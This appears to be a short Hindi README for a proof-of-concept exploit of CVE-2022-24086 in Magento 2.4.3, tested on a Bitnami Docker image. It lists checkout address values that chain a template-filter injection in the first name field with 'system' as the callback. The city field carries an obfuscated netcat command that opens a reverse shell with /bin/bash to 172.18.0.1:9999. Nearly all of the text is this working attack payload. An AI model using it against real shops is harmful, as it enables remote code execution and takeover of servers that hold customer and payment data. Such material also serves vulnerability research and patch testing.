pescepilota/cve-2022-24086CVE-2022-24086 का प्रूफ़ ऑफ़ कॉन्सेप्ट
इसके साथ परीक्षण किया गया: magento 2.4.3 और नमूना डेटा Docker इमेज: docker.io/bitnami/magento:2.4.3-debian-10-r0
प्रथम नाम:
{{var this.getTemplateFilter().filter($order.shipping_address.city)}}{{var this.getTemplateFilter().addAfterFilterCallback($order.shipping_address.last_name).filter($order.shipping_address.city)}}
अंतिम नाम:
system
शहर:
nc${IFS%??}172.18.0.1${IFS%??}9999${IFS%??}-e${IFS%??}/bin/bash
RCE परीक्षण:
